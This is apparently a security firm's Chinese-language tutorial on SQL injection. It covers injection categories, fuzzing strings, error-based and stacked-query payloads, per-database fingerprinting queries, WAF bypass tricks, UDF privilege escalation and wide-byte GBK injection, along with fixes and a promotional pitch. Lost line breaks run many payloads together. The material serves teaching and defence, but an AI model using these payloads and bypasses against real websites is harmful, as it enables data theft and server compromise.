國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個埠的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對於SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!
3.1 SQL注入漏洞
3.1.1. 注入分類
SQL注入是一種代碼注入技術,用於攻擊數據驅動的應用程式。在應用程式中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入欄位中執行(例如將資料庫內容轉儲給攻擊者)。
3.1.1.1. 按技巧分類
根據使用的技巧,SQL注入類型可分為
盲注布爾盲註:只能從應用返回中推斷語句執行後的布爾值時間盲註:應用沒有明確的回顯,只能使用特定的時間函數來判斷報錯注入:應用會顯示全部或者部分的報錯信息堆疊注入:有的應用可以加入 ; 後一次執行多條語句其他3.1.1.2. 按獲取數據的方式分類
另外也可以根據獲取數據的方式分為3類
inband利用Web應用來直接獲取數據如報錯注入都是通過站點的響應或者錯誤反饋來提取數據inference通過Web的一些反映來推斷數據如布爾盲注和堆疊注入也就是我們通俗的盲注,通過web應用的其他改變來推斷數據out of band(OOB)通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件3.1.2. 注入檢測
3.1.2.1. 常見的注入點
GET/POST/PUT/DELETE參數X-Forwarded-For文件名3.1.2.2. Fuzz注入點
' / "1/11/0and 1=1" and "1"="1and 1=2or 1=1or 1=' and '1'='1+ - ^ * % /<< >> || | & &&~!@反引號執行3.1.2.3. 測試用常量
@@version@@servername@@language@@spid3.1.2.4. 測試列數
例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回
3.1.2.5. 報錯注入
select 1/0select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)aextractvalue(1, concat(0x5c,(select user())))updatexml(0x3a,concat(1,(select user())),1)exp(~(SELECT * from(select user())a))ST_LatFromGeoHash((select * from(select * from(select user())a)b))GTID_SUBSET(version(), 1)3.1.2.5.1. 基於geometric的報錯注入
GeometryCollection((select * from (select * from(select user())a)b))polygon((select * from(select * from(select user())a)b))multipoint((select * from(select * from(select user())a)b))multilinestring((select * from(select * from(select user())a)b))LINESTRING((select * from(select * from(select user())a)b))multipolygon((select * from(select * from(select user())a)b))其中需要注意的是,基於exp函數的報錯注入在MySQL 5.5.49後的版本已經不再生效,具體可以參考這個 commit 95825f 。
而以上列表中基於geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較後的版本中同樣不再生效。
3.1.2.6. 堆疊注入
;select 13.1.2.7. 注釋符
#--+/*xxx*//*!xxx*//*!50000xxx*/3.1.2.8. 判斷過濾規則
是否有trunc是否過濾某個字符是否過濾關鍵字slash和編碼3.1.2.9. 獲取信息
判斷資料庫類型and exists (select * from msysobjects ) > 0 access資料庫and exists (select * from sysobjects ) > 0 SQLServer資料庫判斷資料庫表and exsits (select * from admin)版本、主機名、用戶名、庫名表和欄位確定欄位數(Order By Select Into)表名、列名3.1.2.10. 測試權限
文件操作
讀敏感文件寫shell帶外通道網絡請求3.1.3. 權限提升
3.1.3.1. UDF提權
UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。
當獲得MySQL權限之後,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。
3.1.4. 資料庫檢測
3.1.4.1. MySQL
sleep sleep(1)benchmark BENCHMARK(5000000, MD5('test'))字符串連接SELECT 'a' 'b'SELECT CONCAT('some','string')versionSELECT @@versionSELECT version()識別用函數connection_id()last_insert_id()row_count()3.1.4.2. Oracle
字符串連接'a'||'oracle' --SELECT CONCAT('some','string')versionSELECT banner FROM v$versionSELECT banner FROM v$version WHERE rownum=13.1.4.3. SQLServer
WAITFOR WAITFOR DELAY '00:00:10';SERVERNAME SELECT @@SERVERNAMEversion SELECT @@version字符串連接SELECT 'some'+'string'常量@@pack_received@@rowcount3.1.4.4. PostgreSQL
sleep pg_sleep(1)3.1.5. 繞過技巧
編碼繞過大小寫url編碼html編碼十六進位編碼unicode編碼注釋// -- -- + -- - # /**/ ;%00內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3只過濾了一次時union => ununionion相同功能替換函數替換substring / mid / subascii / hex / binbenchmark / sleep變量替換user() / @@user符號和關鍵字and / &or / |HTTP參數HTTP參數汙染id=1&id=2&id=3 根據容器不同會有不同的結果HTTP分割注入緩衝區溢出一些C語言的WAF處理的字符串長度有限,超出某個長度後的payload可能不會被處理二次注入有長度限制時,通過多句執行的方法改掉資料庫該欄位的長度繞過3.1.6. SQL注入小技巧
3.1.6.1. 寬字節注入
一般程式設計師用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同於
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之後,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。
解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這裡就會把編碼的信息保存在和資料庫的連接裡面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯繫專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那麼admin%32在代碼裡面不等於admin,在資料庫比較會等於admin。